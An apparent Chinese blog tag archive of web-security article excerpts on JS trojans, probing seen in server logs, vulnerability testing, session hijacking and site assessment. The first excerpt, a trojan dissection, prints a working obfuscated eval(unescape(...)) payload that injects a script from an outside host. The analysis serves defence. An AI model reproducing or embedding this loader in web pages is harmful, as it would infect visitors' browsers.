标签存档: web安全

一次web木马解剖

本文起源于:http://www.path8.net/tn/archives/4235
木马解剖:
这是一段JS木马,请一定谨慎,不要在浏览器中执行。但在本站本文中阅读是安全的,本文url如下http://www.path8.net/tn/archives/4235 ;但笔者不能保证对本文的转载也是安全。
<script>eval(unescape(“%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B”))</script>
阅读全文——共3691字

黑客嗅探web系统漏洞实例

入门级的黑客攻击也实在太…了
下面是今天系统error日志里的全部内容,/html/是站点的根目录,黑客就机械的在这里面找他想要的文件,而且不只一个人,好几个ip都在这么干;看来这一招的应用很广泛;(这些ip之中或许有肉鸡有存在)。
前几天的日志也是一样,跟这个差不多。所以说,以后文件命名要变态一点,尤其是数据库文件。不过这里是php+mysql的,没有数据库文件。
当然最好的方式,是使用rewrite,不允许通过web访问重要目录。就像现在使用的老外的主机,默认加入了.htaccess,很专业、相当人性化。
阅读全文——共12442字

web安全:JS木马简介及攻防探讨

木马一直是黑客的拿手技量。善于用木马的黑客,可以在原来的入侵基础之上达到更大的目的。如今,虽然木马的种类有很多。但其中IFRAME挂马 比较早,相应的预防措施也比较多,其中用CSS配合JS脚本进行预防是主流方式。可这种预防方式也存在安全隐患,JS脚本也可以被用来挂马,令人防不胜 防。我们下面要介绍反击JS挂马的方法。
JS挂马溯源
当IFRAME逐渐被黑客滥用的时候,有经验的安全工程师也开始研究相应的对策,一段时间内各种阻止IFRAME挂马的方法不断涌现,其中通用性较高的就是利用CSS配合JS脚本防御IFRAME挂马。
而黑客也发现,很多网站都会让网页调用JS脚本来实现广告等诸多特效,如果将木马挂在JS脚本中,所有调用该JS脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此JS脚本挂马逐渐开始被黑客应用。
阅读全文——共2458字

Web应用安全关:漏洞测试技术

随着人们对数据驱动的网站的依赖性的提高,针对WEb站点的攻击的数量也呈现出上升的趋势。作为开发人员,只有先弄明白了自己的站点是如何被攻击的,才能设法保护它们。本文将揭示一些比较常见的攻击,同时还介绍侦察这些攻击的安全工具。
如今,Web在社交功能方面日益增长,但是它的安全性却日益堪忧。事实上,据WASC在2009年初的估算,所有网站中有87%都存在安全隐 患。虽然一些公司有能力外聘安全专业人员进行渗透测试,但并非所有公司都有支付得起20,000到40,000美元的外包安全审计费用。相反,公司可以自 己设法让开发人员获悉这些安全威胁,充分引起他们的注意,从而在开发代码时不会留下这样的安全隐患。
阅读全文——共7415字

Web安全 “开门三件事”/不可不知的web安全

近年来,针对Web网站发现攻击呈 现规模化、隐蔽化趋势,并将攻击目标锁定为知名合法网站。进入2009年11月以来, Websense安全实验室监测一场大规模恶意代码注入活动正在蔓延,数万合法网站已经受到攻击,数亿网民受到影响。而对于Web安全,用户或多或少存在 认识上的误区,无论是对它的危害程度还是企业应该采取的保护方法上都需要有一个清醒的认识。
第一件事:Web威胁的目标是数据和攫取利益
面对来势汹汹的Web威胁,绝大多数企业并没有真正意识到其中的危机。一方面,恶意网站以600%的年增长速度在迅速增加;另一方面,77%带 有恶意代码的Web网站是被植入恶意攻击代码的合法网站。如果把前者比作明枪还可以避免的话,那么作为暗箭的后者可以轻而易举地攻击无辜Web用户,进而 危及企业网络中的数据。
阅读全文——共1847字

2010Web安全现状统计报告

调查报告概述
本次调查按照问卷形式进行,分三个主题,共有14道调查选项,由51CTO.com安全频道和业内相关专家共同拟定。分别调查用户在“网站安全”、“IM即时通讯安全”、“邮件安全”三个方面的安全现状。根据用户所选项的比重,将安全状况分为三个等级:

低度风险   防护较为完善,遭遇Web威胁的可能性较低;
阅读全文——共1457字

从web安全角度看服务器端脚本与客户端脚本(javascript)的差别

从web安全角度看服务器端脚本与客户端脚本(javascript)区别
从安全角度而言,服务器端的程序对浏览器端传递参数的判断,这在任何时候都是非常必要的;客户端脚本(一般是js/javascript)很多时候也是必要的
js是在客户端执行的,可以把信息以最快的速度告诉用户,如果有错误输入,马上提醒用户修改,而不是等提交 后才得到警示信息
这就是所谓“用户体验”,让用户使用时感觉“好用”
阅读全文——共258字

web安全:一种真正意义上的Session劫持

Author: jianxin [80sec]
[ 目录 ]
0×00 应用程序认证设计背景
0×01 常规攻击思路及缺陷
阅读全文——共2687字

web服务器安全:防范网页挂马攻击 从对WEB站点进行安全评估开始

对于一些大型网站来说,通常拥有一整套已经执行了的WEB站点安全防范解决方案,但是,为什么一些网站还是会被攻击者挂载木马?其中一个最主要的原因是已 经实施的WEB站点安全解决方案只能够应对已经出现的安全漏洞和威 胁。而攻击者总是在通过各种手段来分析网站中可能会存在的弱点或漏洞,以便能够成功绕过网站当前的安全防范措施来实施挂马攻击。针对这样的一种WEB站点 安全现状,最好的方式就是在部署相应的安全防范安全解决方案的同时,还必需采取与攻击者相同的手段,也就是在网站的运营过程中,不断对它进行安全评估,以 此来找到网站中可能存在的弱点和漏洞。
对WEB站点进行安全评估是WEB安全防范处理 过程中非常重要的一个环节,它应当贯穿站点的整个生命周期。对WEB站点实施安全评估的目的就是指安全评估人员,使用相应的评估工具和技术,经过一系列恰当的方法,对 WEB服务器本身、服务器系统、后台数据库系统及网络中已经实施的安全机制,进行全面的检测和评估,以此来检测整个WEB系统是否还存在弱点,以及验证实 施的安全机制是否有效。并根据最后的评估分析结果,对现有的安全策略进行修订,对实施的安全机制进行补充。
阅读全文——共5198字